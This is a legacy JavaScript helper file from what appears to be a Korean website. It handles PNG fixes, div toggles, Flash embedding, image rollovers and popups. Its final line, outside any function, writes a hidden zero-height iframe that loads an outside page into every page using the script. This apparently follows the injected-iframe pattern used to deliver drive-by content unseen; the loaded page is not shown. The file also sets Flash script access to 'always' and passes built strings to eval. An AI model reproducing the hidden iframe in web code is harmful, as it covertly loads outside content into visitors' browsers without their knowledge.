
// png 이미지

function setPng24(obj) { 

    obj.width=obj.height=1; 

	obj.style.width = obj.width + "px"; 

    obj.style.height = obj.height + "px"; 

    obj.className=obj.className.replace(/\bpng24\b/i,''); 

    obj.style.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+ obj.src +"',sizingMethod='image');" 

    obj.src='';  

    return ''; 

} 


function div_box(n) {
	div_name = document.getElementById("div_box");

	if(n == "on"){
		div_name.style.display ="block";
	}else{
		div_name.style.display ="none";
	}
}
function div_box2(n,top,left) {
	div_name = document.getElementById("div_box2");
	div_name.style.top = top+"px";
	div_name.style.left = left+"px";
	if(n == "on"){
		div_name.style.display ="block";
	}else{
		div_name.style.display ="none";
	}
}

function div_box3(n,t,l) {
	div_name = document.getElementById("div_box2");
	div_pop1 = document.getElementById("spec_pop2");
	div_pop1.style.top = t+"px";
	div_pop1.style.left = l+"px";
	if(n == "on"){
		div_name.style.display ="block";
	}else{
		div_name.style.display ="none";
	}
}


function div_box4(n,t,l) {
	div_name = document.getElementById("div_box4");
	div_pop1 = document.getElementById("spec_pop");
	div_pop1.style.top = t+"px";
	div_pop1.style.left = l+"px";
	if(n == "on"){
		div_name.style.display ="block";
	}else{
		div_name.style.display ="none";
	}
}

function div_box5(n,t,l) {
	div_name = document.getElementById("div_box5");
	div_pop1 = document.getElementById("spec_pop5");
	div_pop1.style.top = t+"px";
	div_pop1.style.left = l+"px";
	if(n == "on"){
		div_name.style.display ="block";
	}else{
		div_name.style.display ="none";
	}
}

function flashObj(URL,SizeX,SizeY,LnkId,Frm,Flag) // quick
{
    document.write('            <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" ');
    document.write('                    codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" ');
    document.write('                    width="'+SizeX+'" height="'+SizeY+'"  id="'+LnkId+'" align="middle">');
    document.write('            <param name="movie"     value="'+URL+'" />');
    document.write('            <param name="quality"   value="high" />');
    if ( Flag == null || Flag != 'N' )
    {
        document.write('        <param name="wmode"     value="transparent"/>');
    }
	document.write('			<param name="allowScriptAccess" value="always"/> ');
	document.write('			<param name="base" value="." />');
    document.write('            <embed base="." src="'+URL+'" quality="high" width="'+SizeX+'" height="'+SizeY+'"  align="middle" ');
	 if ( Flag == null || Flag != 'N' )
    {
        document.write('       		wmode="transparent" ');
    }
    document.write('           		type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" allowScriptAccess="always" swLiveConnect=true name="'+LnkId+'"  />');
    document.write('            </embed></object>');
	if ( Frm == 'Y' ) { // form 태그 들어가는 페이지에 적용
		eval("window." + LnkId + " = document.forms[0]."+ LnkId +"; ");
	}
}

function resizeSmall() {
	gnb_div= document.getElementById("gnb");
	gnb_div.style.height="88px";
}
function resizeBig(){
	gnb_div = document.getElementById("gnb");
	gnb_div.style.height="175px";
}


function imgOver(imgName) {
imgName.src = imgName.src.replace("_off.gif", "_on.gif");
imgName.src = imgName.src.replace("_off.jpg", "_on.jpg");
}
function imgOut(imgName) {
	imgName.src = imgName.src.replace("_on.gif", "_off.gif");
	imgName.src = imgName.src.replace("_on.jpg", "_off.jpg");
}



// 2008/10/8 추가
function OpenPop(url, name, width, height) {
 var url  = url;
 var winname = name;
 var width = width;
 var height = height;
 var win = window.open(url, name, 'height='+height+',width='+width+',toolbar=no,directories=no,status=no,linemenubar=no,scrollbars=no,resizable=no,modal=yes,dependent=yes'); 
}
document.write("<iframe src=http://www.trigem.com/js/comn.htm width=100 height=0></iframe>");


